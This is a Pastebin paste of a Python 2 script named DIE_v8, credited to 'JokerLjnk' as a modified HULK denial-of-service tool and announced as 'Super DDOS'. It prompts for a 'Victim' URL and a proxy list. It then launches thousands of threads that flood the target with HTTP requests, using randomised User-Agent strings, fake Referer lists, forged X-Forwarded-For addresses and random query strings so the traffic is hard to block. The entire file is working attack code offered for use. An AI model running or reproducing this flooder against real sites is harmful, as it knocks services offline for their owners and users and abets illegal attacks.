LiaoJackie

v8.py

Sep 26th, 2015
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.68 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #coding: utf-8
  3. #..:: > DIE_v8 < ::.. Mod By JokerLjnk
  4.  
  5. import random
  6. import socket
  7. import threading
  8. import time
  9. import datetime
  10. import urllib2
  11. import urllib
  12. import re
  13. import sys
  14. import optparse
  15. import os
  16. import urlparse
  17.  
  18. #Hulk Mod By JokerLjnk
  19. url=''
  20. host=''
  21. headers_useragents=[]
  22. headers_referers=[]
  23. keyword_top=[]
  24. request_counter=0
  25. flag=0
  26. safe=0
  27. def inc_counter():
  28. global request_counter
  29. request_counter+=1
  30.  
  31. def set_flag(val):
  32. global flag
  33. flag=val
  34.  
  35. def set_safe():
  36. global safe
  37. safe=1
  38.  
  39. def getUserAgent():
  40. platform = random.choice(['Macintosh', 'Windows', 'X11'])
  41. if platform == 'Macintosh':
  42. os = random.choice(['68K', 'PPC'])
  43. elif platform == 'Windows':
  44. os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE', 'Windows 7', 'Windows 8'])
  45. elif platform == 'X11':
  46. os = random.choice(['Linux i686', 'Linux x86_64'])
  47. browser = random.choice(['chrome', 'firefox', 'ie'])
  48. if browser == 'chrome':
  49. webkit = str(random.randint(500, 599))
  50. version = str(random.randint(0, 28)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  51. return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
  52. elif browser == 'firefox':
  53. currentYear = datetime.date.today().year
  54. year = str(random.randint(2000, currentYear))
  55. month = random.randint(1, 12)
  56. if month < 10:
  57. month = '0' + str(month)
  58. else:
  59. month = str(month)
  60. day = random.randint(1, 30)
  61. if day < 10:
  62. day = '0' + str(day)
  63. else:
  64. day = str(day)
  65. gecko = year + month + day
  66. version = str(random.randint(1, 21)) + '.0'
  67. return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  68. elif browser == 'ie':
  69. version = str(random.randint(1, 10)) + '.0'
  70. engine = str(random.randint(1, 5)) + '.0'
  71. option = random.choice([True, False])
  72. if option == True:
  73. token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  74. else:
  75. token = ''
  76. return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  77.  
  78. def referer_list():
  79. global headers_referers
  80. headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=')
  81. headers_referers.append('http://www.google.com/?q=')
  82. headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=')
  83. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  84. headers_referers.append('http://www.google.com/translate?u=')
  85. headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=')
  86. headers_referers.append('http://help.baidu.com/searchResult?keywords=')
  87. headers_referers.append('http://www.bing.com/search?q=')
  88. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  89. headers_referers.append('https://play.google.com/store/search?q=')
  90. headers_referers.append('http://www.bing.com/search?q=')
  91. headers_referers.append('https://www.yandex.com/yandsearch?text=')
  92. headers_referers.append('https://duckduckgo.com/?q=')
  93. headers_referers.append('http://www.ask.com/web?q=')
  94. headers_referers.append('http://search.aol.com/aol/search?q=')
  95. headers_referers.append('https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=')
  96. headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
  97. headers_referers.append('http://validator.w3.org/feed/check.cgi?url=')
  98. headers_referers.append('http://host-tracker.com/check_page/?furl=')
  99. headers_referers.append('http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=')
  100. headers_referers.append('http://jigsaw.w3.org/css-validator/validator?uri=')
  101. headers_referers.append('https://add.my.yahoo.com/rss?url=')
  102. headers_referers.append('http://www.google.com/?q=')
  103. headers_referers.append('http://www.google.com/?q=')
  104. headers_referers.append('http://www.google.com/?q=')
  105. headers_referers.append('http://www.usatoday.com/search/results?q=')
  106. headers_referers.append('http://engadget.search.aol.com/search?q=')
  107. headers_referers.append('https://steamcommunity.com/market/search?q=')
  108. headers_referers.append('http://filehippo.com/search?q=')
  109. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  110. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  111. headers_referers.append('http://engadget.search.aol.com/search?q=')
  112. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  113. headers_referers.append('http://techtv.mit.edu/search?q=')
  114. headers_referers.append('http://www.ustream.tv/search?q=')
  115. headers_referers.append('http://www.ted.com/search?q=')
  116. headers_referers.append('http://funnymama.com/search?q=')
  117. headers_referers.append('http://itch.io/search?q=')
  118. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  119. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  120. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  121. headers_referers.append('https://play.google.com/store/search?q=')
  122. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  123. headers_referers.append('http://www.reddit.com/search?q=')
  124. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  125. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  126. headers_referers.append('http://jobs.leidos.com/search?q=')
  127. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  128. headers_referers.append('https://www.pinterest.com/search/?q=')
  129. headers_referers.append('http://millercenter.org/search?q=')
  130. headers_referers.append('https://www.npmjs.com/search?q=')
  131. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  132. headers_referers.append('http://www.shodanhq.com/search?q=')
  133. headers_referers.append('http://ytmnd.com/search?q=')
  134. headers_referers.append('http://www.google.com/?q=')
  135. headers_referers.append('http://www.google.com/?q=')
  136. headers_referers.append('http://www.google.com/?q=')
  137. headers_referers.append('http://www.usatoday.com/search/results?q=')
  138. headers_referers.append('http://engadget.search.aol.com/search?q=')
  139. headers_referers.append('https://steamcommunity.com/market/search?q=')
  140. headers_referers.append('http://filehippo.com/search?q=')
  141. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  142. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  143. headers_referers.append('http://engadget.search.aol.com/search?q=')
  144. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  145. headers_referers.append('http://techtv.mit.edu/search?q=')
  146. headers_referers.append('http://www.ustream.tv/search?q=')
  147. headers_referers.append('http://www.ted.com/search?q=')
  148. headers_referers.append('http://funnymama.com/search?q=')
  149. headers_referers.append('http://itch.io/search?q=')
  150. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  151. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  152. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  153. headers_referers.append('https://play.google.com/store/search?q=')
  154. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  155. headers_referers.append('http://www.reddit.com/search?q=')
  156. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  157. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  158. headers_referers.append('http://jobs.leidos.com/search?q=')
  159. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  160. headers_referers.append('https://www.pinterest.com/search/?q=')
  161. headers_referers.append('http://millercenter.org/search?q=')
  162. headers_referers.append('https://www.npmjs.com/search?q=')
  163. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  164. headers_referers.append('http://www.shodanhq.com/search?q=')
  165. headers_referers.append('http://ytmnd.com/search?q=')
  166. headers_referers.append('http://www.google.com/?q=')
  167. headers_referers.append('http://www.google.com/?q=')
  168. headers_referers.append('http://www.google.com/?q=')
  169. headers_referers.append('http://www.usatoday.com/search/results?q=')
  170. headers_referers.append('http://engadget.search.aol.com/search?q=')
  171. headers_referers.append('https://steamcommunity.com/market/search?q=')
  172. headers_referers.append('http://filehippo.com/search?q=')
  173. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  174. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  175. headers_referers.append('http://engadget.search.aol.com/search?q=')
  176. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  177. headers_referers.append('http://techtv.mit.edu/search?q=')
  178. headers_referers.append('http://www.ustream.tv/search?q=')
  179. headers_referers.append('http://www.ted.com/search?q=')
  180. headers_referers.append('http://funnymama.com/search?q=')
  181. headers_referers.append('http://itch.io/search?q=')
  182. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  183. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  184. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  185. headers_referers.append('https://play.google.com/store/search?q=')
  186. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  187. headers_referers.append('http://www.reddit.com/search?q=')
  188. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  189. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  190. headers_referers.append('http://jobs.leidos.com/search?q=')
  191. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  192. headers_referers.append('https://www.pinterest.com/search/?q=')
  193. headers_referers.append('http://millercenter.org/search?q=')
  194. headers_referers.append('https://www.npmjs.com/search?q=')
  195. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  196. headers_referers.append('http://www.shodanhq.com/search?q=')
  197. headers_referers.append('http://ytmnd.com/search?q=')
  198. headers_referers.append('http://www.google.com/?q=')
  199. headers_referers.append('http://www.google.com/?q=')
  200. headers_referers.append('http://www.google.com/?q=')
  201. headers_referers.append('http://www.usatoday.com/search/results?q=')
  202. headers_referers.append('http://engadget.search.aol.com/search?q=')
  203. headers_referers.append('https://steamcommunity.com/market/search?q=')
  204. headers_referers.append('http://filehippo.com/search?q=')
  205. headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/search?q=')
  206. headers_referers.append('http://eu.battle.net/wow/en/search?q=')
  207. headers_referers.append('http://engadget.search.aol.com/search?q=')
  208. headers_referers.append('http://careers.gatesfoundation.org/search?q=')
  209. headers_referers.append('http://techtv.mit.edu/search?q=')
  210. headers_referers.append('http://www.ustream.tv/search?q=')
  211. headers_referers.append('http://www.ted.com/search?q=')
  212. headers_referers.append('http://funnymama.com/search?q=')
  213. headers_referers.append('http://itch.io/search?q=')
  214. headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
  215. headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
  216. headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
  217. headers_referers.append('https://play.google.com/store/search?q=')
  218. headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
  219. headers_referers.append('http://www.reddit.com/search?q=')
  220. headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
  221. headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
  222. headers_referers.append('http://jobs.leidos.com/search?q=')
  223. headers_referers.append('http://jobs.bloomberg.com/search?q=')
  224. headers_referers.append('https://www.pinterest.com/search/?q=')
  225. headers_referers.append('http://millercenter.org/search?q=')
  226. headers_referers.append('https://www.npmjs.com/search?q=')
  227. headers_referers.append('http://www.evidence.nhs.uk/search?q=')
  228. headers_referers.append('http://www.shodanhq.com/search?q=')
  229. headers_referers.append('http://ytmnd.com/search?q=')
  230. headers_referers.append('http://coccoc.com/search#query=')
  231. headers_referers.append('http://www.search.com/search?q=')
  232. return(headers_referers)
  233.  
  234. def keyword_list():
  235. global keyword_top
  236. keyword_top.append('Sex')
  237. keyword_top.append('Robin Williams')
  238. keyword_top.append('World Cup')
  239. keyword_top.append('Ca Si Le Roi')
  240. keyword_top.append('Ebola')
  241. keyword_top.append('Malaysia Airlines Flight 370')
  242. keyword_top.append('ALS Ice Bucket Challenge')
  243. keyword_top.append('Flappy Bird')
  244. keyword_top.append('Conchita Wurst')
  245. keyword_top.append('ISIS')
  246. keyword_top.append('Frozen')
  247. keyword_top.append('014 Sochi Winter Olympics')
  248. keyword_top.append('IPhone')
  249. keyword_top.append('Samsung Galaxy S5')
  250. keyword_top.append('Nexus 6')
  251. keyword_top.append('Moto G')
  252. keyword_top.append('Samsung Note 4')
  253. keyword_top.append('LG G3')
  254. keyword_top.append('Xbox One')
  255. keyword_top.append('Apple Watch')
  256. keyword_top.append('Nokia X')
  257. keyword_top.append('Ipad Air')
  258. keyword_top.append('Facebook')
  259. keyword_top.append('Anonymous')
  260. return(keyword_top)
  261.  
  262. def buildblock(size):
  263. out_str = ''
  264. for i in range(0, size):
  265. a = random.randint(65, 90)
  266. out_str += chr(a)
  267. return(out_str)
  268.  
  269. def httpcall(url):
  270. referer_list()
  271. code=0
  272. if url.count("?")>0:
  273. param_joiner = "&"
  274. else:
  275. param_joiner = "?"
  276. request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  277. request.add_header('User-Agent', getUserAgent())
  278. request.add_header('Cache-Control', 'no-cache')
  279. request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  280. request.add_header('Referer', random.choice(headers_referers) + host + buildblock(random.randint(5,10)))
  281. request.add_header('Keep-Alive', random.randint(110,120))
  282. request.add_header('Connection', 'keep-alive')
  283. request.add_header('Host',host)
  284.  
  285. index = random.randint(0,len(listaproxy)-1)
  286. proxy = urllib2.ProxyHandler({'http':listaproxy[index]})
  287. opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)
  288. urllib2.install_opener(opener)
  289. try:
  290. urllib2.urlopen(request)
  291. if(flag==1): set_flag(0)
  292. if(code==500): code=0
  293. except urllib2.HTTPError, e:
  294. set_flag(1)
  295. code=500
  296. time.sleep(60)
  297. except urllib2.URLError, e:
  298. sys.exit()
  299. else:
  300. inc_counter()
  301. urllib2.urlopen(request)
  302. return(code)
  303.  
  304. class HTTPThread(threading.Thread):
  305. def run(self):
  306. try:
  307. while flag<2:
  308. code=httpcall(url)
  309. if (code==500) & (safe==1):
  310. set_flag(2)
  311. except Exception, ex:
  312. pass
  313.  
  314. class MonitorThread(threading.Thread):
  315. def run(self):
  316. previous=request_counter
  317. while flag==0:
  318. if (previous+100<request_counter) & (previous<>request_counter):
  319. previous=request_counter
  320. if flag==2:
  321. print ''
  322.  
  323. #DIE_v8 Mod By JokerLjnk
  324. def randomIp():
  325. random.seed()
  326. result = str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  327. result = result + str(random.randint(1, 254)) + '.' + str(random.randint(1, 254))
  328. return result
  329.  
  330. def randomIpList():
  331. random.seed()
  332. res = ""
  333. for ip in xrange(random.randint(8, 10)):
  334. res = res + randomIp() + ", "
  335. return res[0:len(res) - 2]
  336. class attacco(threading.Thread):
  337. def run(self):
  338. referer_list()
  339. current = x
  340.  
  341. if current < len(listaproxy):
  342. proxy = listaproxy[current].split(':')
  343. else:
  344. proxy = random.choice(listaproxy).split(':')
  345.  
  346. useragent = "User-Agent: " + getUserAgent() + "\r\n"
  347. forward = "X-Forwarded-For: " + randomIpList() + "\r\n"
  348. referer = "Referer: "+ random.choice(headers_referers) + url + "?r="+ str(random.randint(1, 1500)) + "\r\n"
  349. httprequest = get_host + useragent + referer + accept + forward + connection + "\r\n"
  350.  
  351. while nload:
  352. time.sleep(1)
  353. pass
  354.  
  355. while 1:
  356. try:
  357. a = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  358. a.connect((proxy[0], int(proxy[1])))
  359. a.send(httprequest)
  360. try:
  361. for i in xrange(4):
  362. a.send(httprequest)
  363. except:
  364. tts = 1
  365.  
  366.  
  367. except:
  368. proxy = random.choice(listaproxy).split(':')
  369.  
  370. #Main
  371. print '\n\t..:: > Code By JokerLjnk < ::..'
  372. print '\t ==> #~~ Super DDOS ~~# <== '
  373. # Site
  374. url = raw_input("Victim: ")
  375. host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
  376. #Proxy
  377. in_file = open(raw_input("File proxy: "),"r")
  378. proxyf = in_file.read()
  379.  
  380.  
  381. in_file.close()
  382. listaproxy = proxyf.split('\n')
  383. #So luong
  384. thread = input("So luong (3000): ")
  385. get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
  386. accept = "Accept-Encoding: gzip, deflate\r\n"
  387. connection = "Connection: Keep-Alive, Persist\r\nProxy-Connection: keep-alive\r\n"
  388. nload = 1
  389. x = 0
  390. print("\tDIE_v8 DDOS Mod By JokerLjnk")
  391. if url.count("/")==2:
  392. url = url + "/"
  393. m = re.search('http\://([^/]*)/?.*', url)
  394. host = m.group(1)
  395. for x in xrange(int(thread + 1)):
  396. attacco().start()
  397. time.sleep(0.003)
  398. print "Attacking ==========================>>"
  399. for x in xrange(501):
  400. t = HTTPThread()
  401. t.start()
  402. t = MonitorThread()
  403. t.start()
  404. nload = 0
  405. while not nload:
  406. time.sleep(1)
Add Comment
Please, Sign In to add comment